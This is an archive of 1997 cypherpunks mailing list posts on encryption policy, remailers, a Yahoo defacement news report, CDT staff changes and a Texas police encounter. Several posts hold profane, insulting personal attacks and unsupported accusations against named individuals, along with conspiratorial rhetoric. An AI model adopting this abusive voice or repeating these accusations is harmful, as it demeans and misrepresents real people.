       Send list changes or requests to qotd-request@ensu.ucalgary.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 10 Dec 1997 09:29:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Censored] Quote of the Day (fwd)
Message-ID: <1.5.4.32.19971210012201.00724318@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote, strictly adhering to permissible topics here:

>You really should try to understand why you cow-tow to 'The Man'....

DPS sumbitch ran me down near DFW, me and my crap filled van, 
my mangy hide and shaggy hair, my NY plates, my wildly dumped 
substances, and sat behind for a few drags of AC in 100 degree heat, 
miked in the number, adjusted his mirrors, tilted the vidcam skyward, 
and climbed out, a big, very big widowmaker high on his fat ass, 
hustled his privates, spat juice, and farted hard enough to quiver the 
VW and me.

Where you heading son, what's the hurry, why you messing Texas
highways with this garbage? Not on my watch, Yankee, let me see 
paper on this wreck, the vehicle, you. What's that smell?

Anyway, 24 later, I got the rig back, trashed more so, not so different, 
the lining had been long gone, so searching it was easy. What was 
new were ten bullet holes penetrating side to side, .30 caliber I guess, 
and a shotgunned rear window, inside out.

No ticket, no fine, just a reminder of highway justice, on the orderly
property of the State of Texas, lawfully administered by cop, judge 
and jury on the spot, for cost saving efficiency.

BTW, any chance your recent system troubles are related to your
threats to law and order? DPS got cooperative service interrupters?
Administering info highway justice.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <hugecajones@dev.null>
Date: Wed, 10 Dec 1997 10:13:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Staff changes at the Center for Democracy and Technology
In-Reply-To: <v03007810b0b3624e5e6d@[204.254.21.127]>
Message-ID: <348DFDDC.58A4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
>   JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND
>                    TECHNOLOGY AS COMMUNICATIONS DIRECTOR
> 
>            FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH
> Browning replaces Jonah Seiger, who is leaving to form a
> Washington-based Internet campaign consulting company with Shabbir J.
> Safdar, former director of the Voters Telecommunications Watch, a public
> interest group in New York City.

  Considering the butt-fucking that Seiger has helped CDT give those
they purport to be 'saving' from the goobermint, I imagine that he
will be welcomed with open arms by politicians in need of a thick
layer of bullshit to cover the even worse stink arising from their
true identity.

> Seiger, who has been a key staff member of the Center for Democracy and
> Technology since its founding in late 1994, "played a crucial role in
> developing CDT's pioneering use of the 'Net as a means of grassroots
> organizing and public education," Berman said. "Jonah was instrumental in
> positioning CDT as the leading voice on issues impacting civil liberties on
> the Internet. He has been a tremendous asset for us from the start."

  Many of those who bent over to read the CDT missives felt the "impact"
of Seiger on their civil liberties. "Asset" is an obvious typo, adding
two unneeded letters to the description of Seiger's contribution to
the CDT.
 
> "I am confident that Jonah and Shabbir will be successful at bringing their
> considerable online organizing skills to a wider audience," Berman added,
> "and CDT looks forward to collaborating with them in their new venture."

  No doubt enough of their 'old' audience are getting wise to them,
so they have to find new rubes to pitch their Democracy Aluminum 
Siding to.
  A pox on them and every other DC slimeball using the cover of fighting
for freedom and democracy to feather their own beds at the expense of
those who trust them not to sell out the citizens a compromise at a
time.

FuckCDTMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 10 Dec 1997 17:27:30 +0800
To: cypherpunks@toad.com
Subject: Re: Burnmore & Databasix
In-Reply-To: <675e8e0e0ee1e01a82ad614819f690ea@anonymous.poster>
Message-ID: <By4gHe34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <Use-Author-Address-Header@[127.1]> writes:

> Gary Burnore, Belinda Bryan <eridani@netcom.com>, William "Wotan" McClatchie
> <wmcclatc@primenet.com> seem to want privacy for themselves but at the same
> time they also want to be able to identify their critics.

Paul Pomes from Qualcomm software is also a member if the Databasix gang
and an enemy of privacy and of the anonymous remailers.  Please complain
to Qualcomm about Paul Pomes's abuse of the Internet, including his
harrassnment of remailer operators.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 04:09:04 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] ABCnews/Nightline on Cyber Terror 8-Dec-97
Message-ID: <199712091958.UAA05503@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



X Four wrote:
> 
> Last night, ABC news once again stroked the fires of fear and raised the
> boogieman of "Hackers" destroying the goverment, banks, power plants, ad
> nauseum.  Of course, the main guest was from the US Govt's new trumpeter
> of CyberTerrorizm, "the President's Commission on Critical Infrastructure
 
> Protection".  A full transcript is available.
> _______________________________________________________
> 
> Revolution in a Box -- Cyber Terror -- AIR DATE: Monday, Dec. 8, 1997
> http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html
> 
> Jamie Gorelick: Well, there are a number of things we can do. I mean, the
> effort that has been started already is one to build a partnership
> between the government and the private sector to work together 

  Is it not funny how this theme of the "government and the private 
sector" working together is becoming a worldwide theme, just as the
theme of "cooperation between governments" is also becoming a universal
theme?
  Can you say, "Fascism?" Sure you can...
  Can you say, "New World Order?" Sure you can...
  Can you say, "Bend me over and stick a crowbar up my ass?"...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 10 Dec 1997 06:08:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District
Message-ID: <Bj1mswOXg8QwB9zt1B4rtw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Court Judges 

TruthMailer wrote:
> p.p.s.
>   You can also charge me with use of 'conventional' encryption
> in the commission of a crime.
>   Must be your lucky fucking day, eh?

If I were TruthMonger, I would worry more about being charged with the
"use of stupidity" in the commission of a crime.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 11:08:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [Censored] Quote of the Day (fwd)
Message-ID: <199712100319.VAA07236@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 09 Dec 1997 20:22:01 -0500
> From: John Young <jya@pipeline.com>
> Subject: Re: [Censored] Quote of the Day (fwd)

> Jim Choate wrote, strictly adhering to permissible topics here:
> 
> >You really should try to understand why you cow-tow to 'The Man'....
> 
> DPS sumbitch ran me down near DFW, me and my crap filled van, 
> my mangy hide and shaggy hair, my NY plates, my wildly dumped 
> substances, and sat behind for a few drags of AC in 100 degree heat, 
> miked in the number, adjusted his mirrors, tilted the vidcam skyward, 
> and climbed out, a big, very big widowmaker high on his fat ass, 
> hustled his privates, spat juice, and farted hard enough to quiver the 
> VW and me.
> 
> Where you heading son, what's the hurry, why you messing Texas
> highways with this garbage? Not on my watch, Yankee, let me see 
> paper on this wreck, the vehicle, you. What's that smell?
> 
> Anyway, 24 later, I got the rig back, trashed more so, not so different, 
> the lining had been long gone, so searching it was easy. What was 
> new were ten bullet holes penetrating side to side, .30 caliber I guess, 
> and a shotgunned rear window, inside out.

Why didn't you file against them? Texas judges don't take kindly to the DPS
pulling this sort of shit. I worked at UT-Austin from 1984 to 1990 for the
Physical Plant taking care of their nifty burglar alarm system (at the time
really cutting edge compared to the rest of the industry) and got to work 
with UTPD, which because it is a state school are really DPS officers -
unbeknownst to most folks, and find about half of them are real rednecks who
get away with this sort of shit because nobody ever files on them. Did you
know that if a DPS officer gets some number of complaints within a period
(used to be 3 within 30 days) they were removed from active duty pending a
review. It is even possible to have a officer fired if they recieve enough
complaints. Most cops only get 3-4 complaints a year. It is *critical* for
the system to work correctly that *every* infraction gets reported and if
appropriate to file charges. Even if you don't win the cop will lose, the 
complaints go on their permanent record and get evaluated yearly and have
a direct impact on their promotions and eligibility for other jobs.

My brother has a really cheeky way to deal with this sort of shit. Once it
is clear they are going to let him go he pulls some coin out of his pocket
and hands it to the officer telling them "Here you go, go buy a
personality."

My personal method is to hand them my drivers license (if I'm on a public
road and driving) and then refuse to answer any further questions. I usually
answer with something like "I'm sorry officer, I'm not required to talk to
you". My goal is to get the cop to either let me go right there or arrest me.
Either way I win. Usually the most they get from me is a shrug. So far it's
worked for me, never been arrested except one time when they had a computer
screw up on a 6 year old ticket. Got arrested, posted bond, showed up at the
hearing and requested to see the physical ticket. Charges were dropped because
not only could they not produce the ticket but they couldn't produce any other
evidence of the crime. My ace in the hole was that I still had the court
receipt where I paid the ticket, never had to use it.

> No ticket, no fine, just a reminder of highway justice, on the orderly
> property of the State of Texas, lawfully administered by cop, judge 
> and jury on the spot, for cost saving efficiency.

Only because you allowed it by not filing. I sympathize with your situation
but find your acceptance a little puzzling as well. By your inactivity you
are promoting such behaviour. Democracy doesn't work if you are complacent
or of a compromising nature. While it's true you might loose the fight, if
you don't even try its guaranteed you have no chance of winning.

A system works because the people refuse to allow it to fail. My personal
philosophy is that if people would stand up and shout more they would be
more immune to harrassment and other similar activities because it reduces
the payoff to such abusive activities. Shine a light on cockroaches and they
run for the dark. It's one of the reasons that I support this mailing list
even thought I disagree personaly with the vast majority of views expressed
by it. Should something happen to SSZ and by extension me, quite a few people
who know me personaly and professionaly will get more than a bit curious
after a couple of days of downtime if they don't hear from me. I further
advertise this because it makes shure that those who are intending to harass
me know that it is not an individual they are dealing with.

> BTW, any chance your recent system troubles are related to your
> threats to law and order? DPS got cooperative service interrupters?
> Administering info highway justice.

My phone service problems w/ SWBT are because they are known for being
incompetent. The problems that I have had with ISDN reliability are a known
problem to the ISP's and heavy ISDN users through-out Texas. The reason that
the ISDN folks and the POTS folks can't get their act together is that they
use the same cable sets but keep different books and operate as an
indipendant business division, one is residential and the other business.
There are limited numbers of pairs in the neighborhood (it's only about 100
years old) so what happens is the ISDN guy looks at the various pairs, his
records are out of date a week or more and as a result don't have the recent
cable changes from my most recent POTS service call and therefore those pairs
are listed as free so he uses them. This causes the POTS to fail, who comes out
and now his records are out of date and he sees the ISDN pairs as unused and
pulls them to fix the POTS. Round and round we go...

[one of my users thinks this is a big conspiracy on the part of SWBT, the
city, state, and federal agencies to put me out of business and shut me up.
Personaly, I can't imagine being that big a fish.]

Doesn't the fact that SWBT now has some say in Bell Atlantic and Bell South
just warn the cockles of your heart....;) [anyone know how a clam, cockle,
got involved in this saying?]

Don't know if it is really on topic but both Bell Atlantic and Bell South
use Tivoli to support their backbones and other services machines. There is
currently a big internal fight (as I understand it) because SWBT has bought
major stakes in both companies and SWBT wants them to use SWBT's custom
self-developed piece of shit (personal opinion here as a long time SWBT
customer, not indicative of either Tivoli or IBM's official or unofficial
views; I'm just a lowly Senior Engineer and they don't let techies like me
in on the political talks) network management software instead of using
ours.

I can say this, in the last 3 months since moving to this new house I have
had 8 trouble tickets. None have been repaired in less than 2 days and the
longest was like 6. Every time SWBT says it's my hardware, I swap out
routers or check my wiring, but it ends up being their problem. I've been
charged $30 for a onsite call that should have been paid by SWBT. I have
repeatedly been advised to invoke their Level 2 Protocol Analysis support at
$60/30 minutes and I have to pay the bill first and will only get
reimbursed *if* SWBT decides it really is their problem. When I talked to
them the other day I mentioned that I am thinking of getting the PUC
involved along with a lawyer. Their responce was, verbatim, "Sir, do
whatever you want to do." I gave them a couple of chances to make it right
and I warned them I would fight. I'm currently starting proceedings with PUC.

Did you know that if you are late on a SWBT bill one time your billing
period is reduced, your monthly payment goes up, and it does this for a year
following the occurance.

So I figure that if you think your phone service is bad now wait a year you
ain't seen nothing yet...


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 10 Dec 1997 10:38:12 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: A message with a key to be posted later
In-Reply-To: <3.0.3.32.19971208200125.006be03c@popd.netcruiser>
Message-ID: <Pine.GSO.3.95.971209211823.20963A-100000@king>
MIME-Version: 1.0
Content-Type: text/plain




>I am trying for the third time to post this item to the list.  The first
>two times the post never showed up on Cypherpunks.

Did you ssend all the posts to cypherpunks@cyberpass.net?  Or were some to
cypherpunks@toad.com?


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 04:47:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog
Message-ID: <199712092038.VAA10120@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



John <spit> Gilmore <fart> wrote:
>The problem: Criminals with a simple
>encryption program can scramble their data
>beyond even the government's ability to read it. 
>http://www.zdnet.com/zdnn/content/zdnn/1208/261695.html

>  Fuck the lame LEA pricks who whine about not being able to
>stop someone bringing in a planeload of drugs without being
>able to invade the privacy of every person on the face of
>the earth.
>  Am I supposed to believe that I have knowledge of when and
>where major drug shipments are taking place, simply by virtue
>of hanging out as a musician, yet the LEA's are incapable of
>finding out the same information by being competent in their
>profession? Barf City...

If memory serves me correctly then the above was written by the
John Gilmore cleverly disguised as TruthMonger who railed mightily
against the LEAs for claiming lack of resources and manpower for
battling the 4 Horsemen despite the fact that LEAs always seem to
have all the time and energy needed to attempt to imprison the
grandmothers of our great nation who dare to plug a stranger's
parking meter for him or her.
I am always amazed that the LEA pleas for increased funding are
generally based upon their own lack of effectiveness.
i.e. "We are so lame that even with the current mountain of money
and resources at our fingertips we cannot catch criminals who are
much smarter than us."
Perhaps the solution to crime is to fire the current LEAs and hire
the criminals to replace them.

Not that I am a troublemonger...

!TroubleMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 11:44:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Hackers crack Yahoo, call for Mitnick release [CNN]
Message-ID: <199712100353.VAA07327@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                           HACKERS BREAK INTO YAHOO!,
>                           CALL FOR RELEASE OF MITNICK
>                                        
>      Yahoo December 9, 1997
>      Web posted at: 5:54 p.m. EST (2254 GMT)
>      
>      NEW YORK (AP) -- Hackers broke into Yahoo!, the Internet's most
>      popular site, demanding the release of an imprisoned comrade and
>      threatening to unleash a crippling computer virus if he is not
>      freed.
>      
>      Computer security experts were skeptical of the hackers' claim that
>      they had implanted such a virus.
>      
>      The hackers, calling themselves PANTS/HAGIS, got into Yahoo!'s World
>      Wide Web site at about 10 p.m. Monday, leaving a digital ransom
>      note.
>      
>      "For the past month, anyone who has viewed Yahoo's page & used their
>      search engine, now has a logic bomb/worm implanted deep within their
>      computer," it read. "On Christmas Day, 1998, the logic bomb part of
>      this 'virus' will become active, wreaking havoc upon the entire
>      planet's networks.
>      
>      "The virus can be stopped. But not by mortals."
>      
>      The note said an "antidote" program will be made available if hacker
>      Kevin Mitnick is released. Mitnick was indicted last year on charges
>      involving a multimillion-dollar crime wave in cyberspace.
>      
>      Diane Hunt, a spokeswoman for the company, said the message was up
>      for only 10 to 15 minutes and a few thousand people saw it.
>      
>      "We immediately took action to see the extent of the damage and
>      moved to correct it," she said. "And about that virus? There is, in
>      fact, no virus."
>      
>      Yahoo! is a computer directory widely used for searching the
>      Internet. The note appeared briefly in place of the Yahoo! home
>      page, preventing people online from using the search engine, which
>      got 17.2 million visits in October.
>      
>      Jonathan Wheat, manager of the Anti-Virus Lab at the National
>      Computer Security Association, said it is at least theoretically
>      possible to exploit security flaws on the Internet and implant such
>      a virus. But he said he doubts this group of hackers -- already
>      known to security experts -- pulled it off.
>      
>      "That's pretty much ridiculous," agreed Jamonn Campbell, an
>      information security analyst at the association.
>      
>      Wheat said there was little reason to be concerned that the popular
>      Web site was hacked.
>      
>      "A lot of Web sites get hacked constantly," he said. He said that
>      while Yahoo! is a high-profile site and should be expected to have
>      better security than most, "no site is completely hack-proof."
>      
>      Copyright 1997   The Associated Press. All rights reserved. This
>      material may not be published, broadcast, rewritten, or
>      redistributed.

y





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Wed, 10 Dec 1997 11:51:54 +0800
To: cypherpunks@toad.com
Subject: Re: Staff changes at the Center for Democracy and Technology
In-Reply-To: <v03007810b0b3624e5e6d@[204.254.21.127]>
Message-ID: <v03102803b0b3aee47f6b@[204.254.20.11]>
MIME-Version: 1.0
Content-Type: text/plain



I'm feeling very left out.  Insult me immediately please.

-Shabbir

At 8:26 PM -0600 12/9/97, Nobody wrote:
> Declan McCullagh wrote:
> >   JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND
> >                    TECHNOLOGY AS COMMUNICATIONS DIRECTOR
> >
> >            FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH
> > Browning replaces Jonah Seiger, who is leaving to form a
> > Washington-based Internet campaign consulting company with Shabbir J.
> > Safdar, former director of the Voters Telecommunications Watch, a public
> > interest group in New York City.
[..]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 05:47:58 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712092134.WAA16900@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Last week soon after I took a KRAP, I cracked IDEA using
my Windoze calculator in 2.7 hours, smoked a pipe bomb I 
made from a formula I found on the internet, got invited 
onto the Jerry Springer Show to embarrass myself but a 
midget without arms somehow put me in a headlock.
 
  I love being on the Cypherpunks list!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 10 Dec 1997 12:22:02 +0800
To: cypherpunks@toad.com
Subject: Re: Staff changes at the Center for Democracy and Technology
Message-ID: <1.5.4.32.19971210040246.0070b5c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Shabbir begged:

>I'm feeling very left out.  Insult me immediately please.

Very well. It's a fact that Dick Morris, Stephanopoulos and Gorelick
are your business feeds, Scaife, Gates and Dell are your sugardaddies 
and USG, SG, and CN have bought you for a Net chokehold 
campaign of global scare dupery, combined with deal for 
industry giants to ruin workaround pygmies.

Your pure-gold credential is all the folks who once trusted you 
to never, ever swap principle for piles of moola (and cut them out).

Now admit it, you're beating hire-me's and lie-for-me's off with 
a stick.

Listen, I've got a near-indicted who needs you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 10 Dec 1997 07:32:56 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <19971209232007.7562.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate <ravage@ssz.com> wrote:

> > With both Nynex and Bell Atlantic, I've gotten phone service under a
> > nym.  No SSN, no credit references, no problem.
> >
> > Just don't call yourself Bill Clinton.
>  
> That isn't the same as having it listed under the nym 'anonymous', when
> you can get a phone company to start service, accept payment under that
> 'name' and keep it that way in their records let me know. Further, with
> the cross to the service address your anonymity isn't.

But that isn't analogous to making an anonymous post to a public forum
such as a Usenet NG or a mailing list.

The best telephone analogy to that I can think of would be to place a phone
call from a payphone to one of those call-in radio programs, say what you
have to say, then hang up and listen to the responses over your radio.

Signing up for a telephone under a pseudonym implies that you desire
incoming calls (private replies) and is more analogous to a 'nym server.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNI2qrwbp0h8ZvosNAQF0MAf9E6GecTJszUYlfj6D1WCX8HUpJcVBo2gY
DwLJOs8l3tgf292xFbcInQpQncJyIWHWY3svOZyGcmxgtUDjAi61vaeAYasU44sA
KXJV0NjZgqXtE2bIAAWDSQsRzWalawnOp0UfNv1f3arHJrOx03YttAA8IuzB0365
uyCaZhjZDnhaSYd+Z+yfICcth4PVInRmm+gW6kpthMV3bY/+14hVjC6DAdh3W38E
5mlVG/99OLd2J+dSbo3al0eFmTnLcqyUK0w5kqkWpnStvTYuos1TSvuIX7toBOZi
WIDLn83zHYbFwpp25hs68SrbTZ+IrQeiuannd14UtAXvWoGjzNLCQw==
=Ldte
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 10 Dec 1997 13:02:23 +0800
To: cypherpunks@toad.com
Subject: Re: Hackers crack Yahoo, call for Mitnick release [CNN]
In-Reply-To: <199712100353.VAA07327@einstein.ssz.com>
Message-ID: <v0400277ab0b3ca1deb47@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:52 pm -0500 on 12/9/97, Jim Choate forwarded:

I really don't know which is more funny, this line:

> >      "The virus can be stopped. But not by mortals."

Or this one:

> >      Mitnick was indicted last year on charges
> >      involving a multimillion-dollar crime wave in cyberspace.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <no.reply.address@basement.replay.com>
Date: Wed, 10 Dec 1997 06:43:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712092239.XAA24151@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>Nerthus wrote:
>>Might be a bit of a stretch, but I think this is because money today is 
>>inherently a liability, that is a debt that someone, somewhere has promised 
>>to pay back.
>
>You've got this all backwards.  The bearer certificates (paper money) issued 
>by governments is an interest-free loan by those holding the paper to the 
>issuer.

This is true, but it is only part of the picture.  The paper currency issuer 
(the central bank) is enjoying seigniorage, that is -- in the case of the US 
- -- the Federal Reserve is collecting revenue from the interest earned on the 
outstanding paper dollars.  This earned interest is given to the Treasury 
and accounted for as revenue for the federal government.

However, this tells us nothing about the currency's real worth.  We need to 
look deeper to find the source of the paper currency's value.  When the US 
government wants to create money, it issues debt instruments such as T-Bills 
to the Fed or to a commercial bank.  The bank then credits the government's 
deposit (checking) account for the face value of the T-Bill.  The bank 
believes it will collect this money back plus interest in a certain amount 
of time.  The government can then ask the Fed to issue some paper cash in 
exchange for the deposit currency (new paper is then created).    

The T-Bill is nothing but a promise by the federal government to pay back a 
debt.  The government has taken a loan from a bank and promises to pay it 
back in 1,5,10 or 30 years with interest.  The money to pay it back comes 
directly from the tax revenues the government collects from its citizens.  
Thus paper currency is based on the debt saddled upon future generations of 
citizens/taxpayers.

Interestingly, this is not much different than John Q. Public getting cash 
advances on his credits cards for a few years and then wondering why he is 
$25k in the hole and growing at 18% per annum.  Many people, especially 
politicians, always go for the short term gain, regardless of the long term 
consequences.  Debt-based currency (primarily a 20th century phenomenon) has 
ushered in a new era of political and financial irresponsibility.

Eventually the debts must either be reneged on or paid off.  When that time 
finally comes, neither option will paint a pretty picture.

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIxg7Ra1d3zm4nqOEQJnnwCfaOLKaiCiYuqUJRSVBLc1Q6aZ4VIAoNJY
EdB96VwVlxlcI9u3Glnwjf1y
=vMJq
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "No One" <no_o@hotmail.com>
Date: Wed, 10 Dec 1997 18:40:54 +0800
To: cypherpunks@toad.com
Subject: Does anyone know how to get Glide to work???
Message-ID: <19971210103058.14273.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



I compiled glide.c and tried it. But all I could get from it was some 
numbers listed on the screen. I couldn't make anything from them. In 
other words, I didn't understand a thing. Did I do somethin wrong?
Please help me.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "B. Martin" <bm@dev.null>
Date: Wed, 10 Dec 1997 17:12:34 +0800
To: cypherpunks@toad.com
Subject: Re: Fw: AAAAAAAAA Passw0rd3 for your curious fingers!
In-Reply-To: <00cb01bd0541$f71b0c40$65c99f88@cf01>
Message-ID: <348E5972.6282@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



=======================================================
 This Mexican bird called the bee martin ruffs its head
feathers so they look like a flower. The honey bee lands
therein. Or tries to. Doesn't make it. The bird -- snap,
snap -- eats the bee. That's nature. Deceptive. Vicious.
Rotten.
=======================================================

LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email 
http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon dyer <landon@best.com>
Date: Wed, 10 Dec 1997 22:57:26 +0800
To: cypherpunks@toad.com
Subject: feinstein and domestic crypto curbs
Message-ID: <3.0.3.32.19971210063909.00a3cdd0@shell9.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain




  here's the text of a letter that i snail-mailed to california's
senator dianne feinstein in early september:


----------------

Landon Dyer						September 8, 1997
Campbell, CA


Senator Dianne Feinstein
United States Senate
331 Hart Senate Office Building
Washington, D.C. 20510


Dear Senator Feinstein,

I am writing this to you because of some statements you made last
week in a Senate Judiciary committee on the subject of mandatory key
escrow for domestic encryption products.

To be frank: I was shocked and sickened by your statement that
"nothing other than some form of mandatory key recovery really does
the job" of preventing crime.

I urge you to seek out experts in industry and talk to them about why
this approach is fundamentally unworkable.  I urge you to re-read
1984.  I urge you to remember the abuses of the Hoover FBI.

Mandatory key escrow is extremely dangerous stuff.  I do not believe
the government should have this power because of the enormous
potential and temptation for its abuse. (Corruption does happen.
Remember the case in California recently where DMV employees were
selling driver's license information to supermarkets?). And any
repository of escrowed keys would be a very attractive target for
break-ins

Mandatory key escrow would cripple important parts of our nation's
software industry.  Why should we do this just to make law
enforcement's job a little easier?

Americans need better, more ubiquitous encryption, not less, to
protect us from crime.  We don't need Big Brother, and that's exactly
what mandatory escrow would give us.


Sincerely,

Landon Dyer
Sr. Software Engineer


----------------


  here's feinstein's reply, which i received a couple of days
ago.  i've transcribed it pretty carefully, and left the typos
intact with [sic], any other typos are mine:


----------------

				October 23, 1997

Dear Mr. Dyer:

  Thank you for contacting me regarding federal encryption
policy.  I appreciate your taking the time to write to me on this
issues [sic].  It is important for me to hear from my California
constituents as this debate continues.

  As you know, numerous legislative proposals have been put
forth to amend or restructure encryption controls.  Cryptographic,
or encryption, software uses complex algorithms to scramble
information, thus providing greater privacy for the information.

  I read your recent letter on encryption and believe that the
attached San Jose Mercury News interview correctly states my
views.  As we both know, this is a complicated and difficult
issue which affects many California constituencies.  I am open to
suggestions as to how vital privacy rights and public safety
needs can be supported and protected.

  I value your opinion and appreciate you actively
contributing to this legislative discusstion.  As Congress
proceeds to debate various encryption proposals, I look forward
to a thorough review of this issue.  While I want to promote
business opportunity for U.S. firms I do not want to do so at the
expense of law enforcement.

  Once again, thank you your [sic] correspondence.  I hope that you
will continue to share your thoughts and ideas with me.  If I can
be of further assistance, please to not hesitate to contact my
Washington, D.C. office at 202/224-3841

  With warmest personal regards,

		Sincerely yours,

		(signed) Dianne Feinstein


Enclosure

 [enclosed: the 15-Sep-97 SJ Merc article on D.F.'s crypto curb support]


--------------

  nothing terribly surprising, really -- i wasn't expecting any
response at all, though


-landon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Dec 1997 14:51:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Court TV
Message-ID: <199712100644.HAA24739@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



[CANADIAN NUTLY NEWS-Bienfait, Saskatchewan]CINDY COHN, LEAD COUNSEL
for the Bernstein free-speech encryption case, and part-time barmaid
